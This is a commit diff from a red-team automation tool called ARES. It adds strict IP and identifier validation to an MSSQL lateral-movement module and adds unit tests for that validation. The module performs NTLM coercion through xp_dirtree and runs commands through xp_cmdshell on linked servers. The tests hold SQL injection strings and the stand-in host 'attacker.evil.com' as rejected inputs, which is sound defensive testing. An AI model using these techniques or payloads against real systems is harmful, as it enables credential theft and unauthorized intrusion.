ARES - authorized red-team engagement automation with dashboard, campaign scope, module orchestration, OPSEC controls, encrypted vault, and reporting.
Python active-directorycloud-securitydefensive-validationfastapigood-first-issuemitre-attackopsecreactred-teamreportingsecurity
fix(security): validate listener_ip as strict IP address in mssql xp_dirtree (AUD-002)
Mafifrizi5ab63a02dfb0
diff --git a/ares/modules/lateral/mssql.py b/ares/modules/lateral/mssql.pyindex 56111ca..feaefd0 100644--- a/ares/modules/lateral/mssql.py+++ b/ares/modules/lateral/mssql.py@@ -17,6 +17,8 @@ OPSEC: MEDIUM - SQL queries appear legitimate in server logs.from __future__ import annotationsimport asyncio+import ipaddress+import refrom typing import Anyfrom ares.core.campaign import Finding, Severity@@ -87,6 +89,19 @@ class MSSQLModule(BaseModule):"Use 'sa' or a db_owner account for xp_cmdshell.",module_id=self.MODULE_ID, field="username",)+ technique = ctx.params.get("technique", "xp_cmdshell")+ listener = ctx.params.get("listener") or ctx.params.get("listener_ip")+ if technique == "unc_coerce" or listener:+ if not listener:+ raise ModuleValidationError(+ "lateral.mssql with unc_coerce requires 'listener' or 'listener_ip'.",+ module_id=self.MODULE_ID, field="listener_ip",+ )+ self._validate_listener_ip(listener)++ linked = ctx.params.get("linked")+ if technique == "linked" and linked:+ self._validate_linked_server(linked)async def execute(self, ctx: "Any") -> "ModuleResult":"""ExecutionContext-based entry point (v0.9.0+).@@ -328,6 +343,7 @@ class MSSQLModule(BaseModule):# UNC path NTLM coercion via xp_dirtreeelif technique == "unc_coerce" and listener:+ listener = self._validate_listener_ip(listener)try:await self.before_request(listener, "smb")except Exception as exc:@@ -480,15 +496,60 @@ class MSSQLModule(BaseModule):except Exception:pass+ def _validate_listener_ip(self, ip: str) -> str:+ """+ Validate listener_ip strictly as an IPv4 or IPv6 address literal.+ Rejects hostnames and injection payloads to prevent DNS rebinding and SQL injection.+ """+ from ares.core.errors import ModuleValidationError+ if not ip or not isinstance(ip, str):+ raise ModuleValidationError(+ f"listener_ip must be a valid IP address, got: {ip!r}",+ module_id=self.MODULE_ID,+ field="listener_ip",+ )+ try:+ # Terima IPv4 dan IPv6, tolak hostname untuk mencegah+ # injection via DNS rebinding+ parsed = ipaddress.ip_address(ip.strip())+ return str(parsed)+ except ValueError:+ raise ModuleValidationError(+ f"listener_ip must be a valid IP address, got: {ip!r}",+ module_id=self.MODULE_ID,+ field="listener_ip",+ )++ def _validate_linked_server(self, name: str) -> str:+ """+ Validate linked server name identifier to prevent SQL injection in EXEC (...) AT [...].+ Accepts valid alphanumeric identifier with underscore, dot, or dash.+ """+ from ares.core.errors import ModuleValidationError+ if not name or not isinstance(name, str):+ raise ModuleValidationError(+ f"linked_server must be a non-empty string identifier, got: {name!r}",+ module_id=self.MODULE_ID,+ field="linked",+ )+ cleaned = name.strip()+ if not re.match(r"^[a-zA-Z0-9_.\-]+$", cleaned):+ raise ModuleValidationError(+ f"linked_server identifier contains invalid characters: {name!r}",+ module_id=self.MODULE_ID,+ field="linked",+ )+ return cleaned+def _linked_server_sync(self, target: str, username: str, password: str,port: int, linked: str, command: str) -> str:"""Execute command via linked server xp_cmdshell."""+ safe_linked = self._validate_linked_server(linked)try:import pymssql # type: ignore[import]conn = pymssql.connect(target, username, password, "master", port=port, timeout=15)cur = conn.cursor()- safe_cmd = command.replace("'", "''") # SQL-escape- safe_linked = linked.replace("[", "").replace("]", "").replace(";", "") # strip bracket injection+ safe_cmd = command.replace("'", "''") # SQL-escapeq = (f"EXEC ('{safe_cmd}') AT [{safe_linked}]")cur.execute(q)rows = cur.fetchall()@@ -501,14 +562,13 @@ class MSSQLModule(BaseModule):def _unc_coerce_sync(self, target: str, username: str, password: str,port: int, listener_ip: str) -> bool:"""Coerce NTLM auth from SQL server to listener via xp_dirtree."""- from ares.core.security import sanitize_hostname- listener_ip = sanitize_hostname(listener_ip) # prevent injection into xp_dirtree UNC path+ valid_ip = self._validate_listener_ip(listener_ip)try:import pymssql # type: ignore[import]conn = pymssql.connect(target, username, password, "master", port=port, timeout=10)cur = conn.cursor()try:- cur.execute(f"EXEC xp_dirtree '\\\\{listener_ip}\\share'")+ cur.execute(f"EXEC xp_dirtree '\\\\{valid_ip}\\share'")except Exception:pass # expected - NTLM sent before this failsconn.close()diff --git a/tests/unit/modules/test_mssql_input_validation_aud002.py b/tests/unit/modules/test_mssql_input_validation_aud002.pynew file mode 100644index 0000000..ad6eac4--- /dev/null+++ b/tests/unit/modules/test_mssql_input_validation_aud002.py@@ -0,0 +1,141 @@+"""+Tests for AUD-002: Strict input validation on listener_ip for MSSQL xp_dirtree+and linked_server parameter validation.+"""+from unittest.mock import MagicMock, patch+import pytest++from ares.core.campaign import Campaign, NoiseProfile, ScopeEntry+from ares.core.config import AresSettings+from ares.core.errors import ModuleValidationError+from ares.core.noise import NoiseController+from ares.modules.lateral.mssql import MSSQLModule+from ares.sdk import ExecutionContext+++def _make_module() -> MSSQLModule:+ settings = AresSettings(+ ares_secret_key="test-secret-key-32chars-minimum!!",+ ares_encryption_key="test-encryption-key-32chars-min!!",+ )+ campaign = Campaign(+ name="MSSQL-AUD002-Test",+ operator="test_operator",+ scope=[ScopeEntry(cidr="10.0.0.0/8")],+ noise_profile=NoiseProfile.NORMAL,+ )+ noise = NoiseController(campaign)+ return MSSQLModule(settings=settings, campaign=campaign, noise=noise)+++def test_validate_listener_ip_valid_ipv4_and_ipv6():+ """Valid IPv4 and IPv6 addresses must be accepted."""+ mod = _make_module()+ assert mod._validate_listener_ip("10.0.0.1") == "10.0.0.1"+ assert mod._validate_listener_ip("192.168.1.100") == "192.168.1.100"+ assert mod._validate_listener_ip("::1") == "::1"+ assert mod._validate_listener_ip("fe80::1") == "fe80::1"+ assert mod._validate_listener_ip(" 10.0.0.1 ") == "10.0.0.1"+++def test_validate_listener_ip_rejects_sql_injection():+ """SQL injection payloads in listener_ip must raise ModuleValidationError."""+ mod = _make_module()+ with pytest.raises(ModuleValidationError) as exc:+ mod._validate_listener_ip("10.0.0.1'; WAITFOR DELAY '0:0:5'--")+ assert "listener_ip must be a valid IP address" in str(exc.value)++ with pytest.raises(ModuleValidationError):+ mod._validate_listener_ip("10.0.0.1\\share")++ with pytest.raises(ModuleValidationError):+ mod._validate_listener_ip("10.0.0.1' UNION SELECT @@version--")+++def test_validate_listener_ip_rejects_hostnames():+ """Hostnames must be rejected to prevent DNS rebinding and arbitrary resolution."""+ mod = _make_module()+ with pytest.raises(ModuleValidationError) as exc:+ mod._validate_listener_ip("hostname.local")+ assert "listener_ip must be a valid IP address" in str(exc.value)++ with pytest.raises(ModuleValidationError):+ mod._validate_listener_ip("attacker.evil.com")+++def test_validate_linked_server_valid_and_invalid():+ """Linked server name must be a clean identifier."""+ mod = _make_module()+ assert mod._validate_linked_server("SQL-PROD-01") == "SQL-PROD-01"+ assert mod._validate_linked_server("SRV_BACKUP.CORP") == "SRV_BACKUP.CORP"+ assert mod._validate_linked_server("10.0.0.50") == "10.0.0.50"++ with pytest.raises(ModuleValidationError):+ mod._validate_linked_server("srv'; DROP TABLE users--")++ with pytest.raises(ModuleValidationError):+ mod._validate_linked_server("srv[0]")++ with pytest.raises(ModuleValidationError):+ mod._validate_linked_server("")+++async def test_module_validate_rejects_bad_listener_ip():+ """ExecutionContext validation catches invalid listener_ip before execution."""+ mod = _make_module()+ ctx = ExecutionContext(+ campaign_id="test",+ target="10.0.0.25",+ params={+ "target": "10.0.0.25",+ "username": "sa",+ "password": "pwd",+ "technique": "unc_coerce",+ "listener_ip": "10.0.0.1'; WAITFOR DELAY '0:0:5'--",+ },+ )+ with pytest.raises(ModuleValidationError) as exc:+ await mod.validate(ctx)+ assert "listener_ip must be a valid IP address" in str(exc.value)+++async def test_unc_coerce_sync_executes_with_valid_ip():+ """With valid IP, _unc_coerce_sync executes xp_dirtree with clean UNC path."""+ mod = _make_module()++ mock_cursor = MagicMock()+ mock_conn = MagicMock()+ mock_conn.cursor.return_value = mock_cursor+ mock_pymssql = MagicMock()+ mock_pymssql.connect.return_value = mock_conn++ with patch.dict("sys.modules", {"pymssql": mock_pymssql}):+ success = mod._unc_coerce_sync(+ target="10.0.0.20",+ username="sa",+ password="pwd",+ port=1433,+ listener_ip="10.0.0.1",+ )+ assert success is True+ mock_cursor.execute.assert_called_once_with("EXEC xp_dirtree '\\\\10.0.0.1\\share'")+++async def test_unc_coerce_sync_aborts_on_injection_attempt():+ """With injected listener_ip, _unc_coerce_sync raises ModuleValidationError before connecting."""+ mod = _make_module()++ mock_pymssql = MagicMock()+ with patch.dict("sys.modules", {"pymssql": mock_pymssql}):+ with pytest.raises(ModuleValidationError):+ mod._unc_coerce_sync(+ target="10.0.0.20",+ username="sa",+ password="pwd",+ port=1433,+ listener_ip="10.0.0.1'; WAITFOR DELAY '0:0:5'--",+ )+ mock_pymssql.connect.assert_not_called()